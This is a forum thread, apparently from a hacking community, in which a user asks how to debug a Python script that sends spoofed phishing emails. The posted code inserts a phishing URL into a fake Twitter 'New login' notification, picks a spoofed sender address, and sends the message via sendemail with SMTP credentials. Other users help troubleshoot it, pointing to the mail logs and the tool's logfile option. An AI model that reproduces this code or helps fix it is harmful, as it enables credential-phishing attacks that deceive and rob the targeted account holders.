Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Python 

How to see the error message in this script

So, the issue is with the program called Send"e"mail NOT sendmail. Those who use kali might be familiar with this. Now, the last command with sendemail doesn't work because of some issue. Since this is a part of the script,the error message is not shown. I tried debugging this with pdb with no success. I am not an expert with pdb. How can I see what error comes up when this part of the code is executed? (the sendemail command..this probably has to do with the size of the e-mail, I guess)


emaildata = str(EMAIL1_TWITTER)
emaildata = emaildata.replace('_DEF9', str(UNAME))
emaildata = emaildata.replace('PHISHING_URL', str(phishin_url))
emaildata = emaildata.replace('Chrome on Linux', str(Email_OS))
emaildata = emaildata.replace('Iraq', str(Email_from))


# `DECIDES THE SPOOFED EMAIL ADDRESS

from_email = str(random.choice(['[email protected]','[email protected]']))



##################################
#      SENDS SPOOFED EMAIL       #
##################################


subprocess.call(['sendemail', '-f', from_email,'-t', str(Email), '-u', 'New login to Twitter', '-m', emaildata, '-s', smtps+":"+port, '-o message-charset=utf-8', '-o', '-o', '-xu', username, '-xp', password])
os.system('reset')
Google where the sendmail logs are stored for your OS. You may have something like: /var/log/mail.err
Do you get an error message or it just doesn't work like you want?
Also please use code tags when posting code
[Image: 0DvFxnA.gif]
Donate: 3ABKRghau93ziRaDfVwiiwtjky3i1gLrKn
(Apr 2, 2019 12:18 PM)lockhead Wrote:  Do you get an error message or it just doesn't work like you want?
Also please use code tags when posting code

Sorry about the quotes..I don't know what those are. It doesn't show any error messages because it is run from inside the script...but "sendemail will definitely show an error message. I tried debugging this with pdb..but that says x server cannot open a window because this program is being run in the root environment...which I have to run from root.


(Apr 2, 2019 11:42 AM)datguy.dev Wrote:  Google where the sendmail logs are stored for your OS. You may have something like: /var/log/mail.err

Yea..I tried that. Unfortuantely Send"e"mail logs are not to be found there. This program is diffrent from sendmail. it is sendemail.
(Apr 5, 2019 04:38 AM)roosiinfidel09 Wrote:  Sorry about the quotes..I don't know what those are. It doesn't show any error messages because it is run from inside the script...but "sendemail will definitely show an error message. I tried debugging this with pdb..but that says x server cannot open a window because this program is being run in  the root environment...which I have to run from root.



Yea..I tried that. Unfortuantely Send"e"mail logs are not to be found there. This program is diffrent from sendmail. it is sendemail.

Am I just a blind idiot for not seeing that or did you edit the OP? 🤣 Is it this program? If so, there is a command line arg for you to specify a logfile. -l
(Apr 5, 2019 02:32 PM)datguy.dev Wrote:  Am I just a blind idiot for not seeing that or did you edit the OP? 🤣 Is it this program? If so, there is a command line arg for you to specify a logfile. -l

Lol...Thanks. Yes..The creator of sendemail replied yesterday and told me about it. Thanks for your input


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Python] by WifiHelpPLZAug 7, 2018 11:03 PM 5 105 Aug 7, 2018 11:03 PM
Last Post: HangMansheart
[Java] by AutowallApr 9, 2017 02:34 PM 2 147 Apr 9, 2017 02:34 PM
Last Post: Autowall
[.NET] by Naz6uLJan 27, 2017 10:03 AM 3 903 Jan 27, 2017 10:03 AM
Last Post: debug